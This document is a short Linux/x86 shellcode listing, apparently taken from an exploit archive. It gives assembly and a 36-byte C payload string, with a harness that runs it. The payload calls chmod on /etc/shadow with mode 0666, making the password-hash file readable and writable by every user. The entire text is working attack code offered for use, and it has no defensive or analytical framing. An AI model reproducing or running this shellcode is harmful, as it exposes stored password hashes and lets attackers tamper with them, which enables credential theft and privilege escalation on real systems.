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linux/x86 chmod 0666 /etc/shadow 36 bytes
========================================= linux/x86 chmod 0666 /etc/shadow 36 bytes ========================================= /* By Kris Katterjohn 8/29/2006 * * 36 byte shellcode to chmod("/etc/shadow", 0666) and exit for Linux/x86 * * To remove exit(): Remove the last 5 bytes (0x6a - 0x80) * * * * section .text * * global _start * * _start: * xor edx, edx * * push byte 15 * pop eax * push edx * push byte 0x77 * push word 0x6f64 * push 0x6168732f * push 0x6374652f * mov ebx, esp * push word 0666Q * pop ecx * int 0x80 * * push byte 1 * pop eax * int 0x80 */ main() { char shellcode[] = "\x31\xd2\x6a\x0f\x58\x52\x6a\x77\x66\x68\x64\x6f\x68" "\x2f\x73\x68\x61\x68\x2f\x65\x74\x63\x89\xe3\x66\x68" "\xb6\x01\x59\xcd\x80\x6a\x01\x58\xcd\x80"; (*(void (*)()) shellcode)(); } # 0day.today [2024-12-25] #